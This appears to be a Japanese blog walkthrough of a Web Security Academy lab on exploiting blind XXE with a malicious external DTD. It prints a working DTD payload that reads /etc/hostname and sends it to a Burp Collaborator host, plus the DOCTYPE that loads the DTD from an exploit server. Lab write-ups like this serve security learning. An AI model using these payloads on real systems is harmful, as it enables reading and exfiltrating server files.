Shikata Ga Nai

Private? There is no such things.

Exploiting blind XXE to exfiltrate data using a malicious external DTDをやってみた

Hello there, ('ω')ノ

 

ブラインドXXEを悪用して、悪意のある外部DTDを使用してデータを盗み出すを。

これまでリクエストに書き込んでいたDTDを外出しというわけで。

Check stockをクリックして。

 

f:id:ThisIsOne:20210304172220p:plain

 

XMLのリクエストをリピータへ。

その後、コラボレータを起動してペイロードをコピーして。

 

f:id:ThisIsOne:20210304172448p:plain

 

下記のDTDにコラボレータのURIを書き込んだ悪意のあるものを配置して。

パーセント記号のデフォルト値は「%」文字、コードだと#x25で。

 

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://vcb7rn0tctd26yn9knla3sg3quwlka.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

 

最後にSaveして。

 

f:id:ThisIsOne:20210304172527p:plain

 

View exploitで確認して。

 

f:id:ThisIsOne:20210304173154p:plain

 

リクエストボディには、エクスプロイトサーバにあるDTDを読み込むようにして。

Sendして。

 

 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://acb41fca1f533254807530d701ca00f7.web-security-academy.net/exploit"> %xxe;]>

 

f:id:ThisIsOne:20210304172833p:plain

 

HTTP interactionには、 DTDで指定した/etc/hostnameのファイルが。

 

f:id:ThisIsOne:20210304173434p:plain

 

下記を入力すると。

 27a91fa11675

 

f:id:ThisIsOne:20210304173333p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210304173356p:plain

 

Best regards, (^^ゞ